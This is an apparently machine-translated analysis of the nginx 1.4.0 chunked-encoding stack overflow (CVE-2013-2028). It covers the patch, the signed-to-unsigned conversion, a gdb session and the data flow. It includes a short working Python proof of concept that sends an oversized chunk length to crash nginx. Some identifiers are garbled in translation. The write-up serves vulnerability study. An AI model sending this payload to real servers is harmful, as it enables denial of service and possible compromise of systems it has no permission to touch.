background
Operating system: ubuntu 18.04 64bit Vulnerability software: nginx-1.4.0
Vulnerability patch information
The trigger source of a vulnerability can be recognized from the patch.
View the patch information in github fixed chunk size parking. · nginx/nginx@818807d (github.com) as follows:
if (ctx->size < 0 || ctx->length < 0) { goto invalid; } return rc;
You can see the patch in / SRC / HTTP / NGX_ http_ NGX of parse. C_ http_ parse_ The negative value judgment of variables CTX - > length and CTX - > size is added to the return value of the chunked function

View the structure definition of ctx variable,
struct ngx_http_chunked_s { ngx_uint_t state; off_t size; off_t length; };
You can see that the type variables of size and length are off_t. And off_t corresponds to long int, which is a signed variable (it's important to remember this).
Vulnerability trigger path analysis
As you can see from the previous step, the root cause of the vulnerability lies in / SRC / HTTP / NGX_ http_ NGX of parse. C_ http_ parse_ The chunked function is related to the negative variables CTX - > length and CTX - > size. Now start tracking the subsequent flow direction of these two variables.
2.1 vulnerability recurrence
POC information
The POC of this vulnerability can be found from the Internet as follows:
import socket host = "127.0.0.1" ip='127.0.0.1' raw = '''GET / HTTP/1.1\r\nHost: %s\r\nTransfer-Encoding: chunked\r\nConnection: Keep-Alive\r\n\r\n''' % (host) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, 80)) data1 = raw data1 += "f000000000000060" + "\r\n" print data1 s.send(data1) s.send("B" * 6000) s.close()
This POC will send TCP request data twice. The first time is an HTTP request:
GET / HTTP/1.1 Host: 127.0.0.1 Transfer-Encoding: chunked Connection: Keep-Alive f000000000000060
The second time is a very long "B" string.
chunked HTTP request
The first HTTP request is special in that it is a request transmitted in blocks. In the request body, the length of the current block needs to be added at the beginning of each block, expressed in hexadecimal form, followed by '\ r\n', followed by the block itself, followed by '\ r\n'

Loophole recurrence
Find the pid of nginx working process in the shell, mount and debug with gdb, and break point in the patch function.
osboxes@osboxes:~$ ps aux |grep nginx root 2081 0.0 0.0 21860 1908 ? Ss 11:14 0:00 nginx: master process ./nginx -c conf/nginx.conf nobody 7185 0.0 0.0 22256 2196 ? S 17:32 0:00 nginx: worker process osboxes 7406 0.0 0.0 14436 1008 pts/0 S+ 19:13 0:00 grep --color=auto nginx osboxes@osboxes:~$ sudo gdb -p 7185 pwndbg> b ngx_http_parse_chunked Breakpoint 1 at 0x5599fb464871: file src/http/ngx_http_parse.c, line 1974. pwndbg> c Continuing.
Execute POC and check the function call stack. You can see the following:

Then we will analyze the trigger path of the vulnerability according to the source code
1.ngx_ HTTP_ parse_ The chunked function parses the block size in HTTP
View NGX_ http_ parse_ The chunked function. You can see that the main function of this function is to parse the chunk information in the HTTP request body.
ngx_int_t ngx_http_parse_chunked(ngx_http_request_t *r, ngx_buf_t *b, ngx_http_chunked_t *ctx) { ... state = ctx->state; ... rc = NGX_AGAIN; ... switch (state) { ... case sw_chunk_size: if (ch >= '0' && ch <= '9') { ctx->size = ctx->size * 16 + (ch - '0'); break; } c = (u_char) (ch | 0x20); if (c >= 'a' && c <= 'f') { ctx->size = ctx->size * 16 + (c - 'a' + 10); break; } ... } data: switch (state) { ... case sw_chunk_data: ctx->length = ctx->size + 4 /* LF "0" LF LF */; break; ... return rc; ... }
When the block size in the HTTP request body, namely f000000000000060, is encountered, the string will be parsed into the corresponding hexadecimal number and saved in ctx - > size. Note that because it is signed, the value of ctx is negative. After that, the value of ctx - > size will be assigned to ctx - > lenth, that is:
ctx->lenth= ctx->size+4 = parseLong('f000000000000060')+4 = -1152921504606846880+4 = -1152921504606846876
After that, the function returns rc=NGX_AGIN
2.ngx_ http_ discard_ request_ body_ The filter passes the value up further

According to the return value rc == NGX_AGAIN, this negative value will be further passed to R - > headers_ in.content_ length_ In the n variable, note that this is also an off_ Type T, that is, it is also * * negative** that is
r->headers_in.content_length_n = rb->chunked->length = -1152921504606846876
After that, the function returns NGX_OK.
3.ngx_http_discard_request_body simple jump
In NGX_ http_ discard_ request_ In the body function, the control flow returns and enters another sub function.

4.ngx_http_read_discarded_request_body stack overflow
Escape ngx_min check
In NGX_ http_ read_ discard_ request_ The body function originally has a length range check ngx_min, but as we said earlier, the length is negative, so this check is bypassed

size is given an extra large value
Size in function_ T is an unsigned long int, so size is accidentally assigned to an extremely large value. that is
(size_t) size= r->headers_in.content_length_n = 17293822569102704740
recv writes the extra long input to the local variable buffer
After parsing the size, nginx will try to read the input again,
n = r->connection->recv(r->connection, buffer, size);
At this time, the system will try to write the input with size=17293822569102704740 into the local variable buffer, resulting in stack overflow.
Vulnerability data flow
The flow direction of summarized data is shown in the figure below:

summary
The reason for this vulnerability is that when a signed integer is converted to an unsigned number, it will become a maximum value, resulting in nginx reading an extremely long value from the socket into a local variable.
The vulnerability is triggered by three conditions:
Ensure access ngx_http_parse_chunked Function to read the carefully set length
Reference: Nginx stack overflow analysis - CVE-2013-2028 - l3m0n - blog Garden (cnblogs.com)
https://www.cnblogs.com/iamstudy/articles/nginx_CVE-2013-2028_brop.html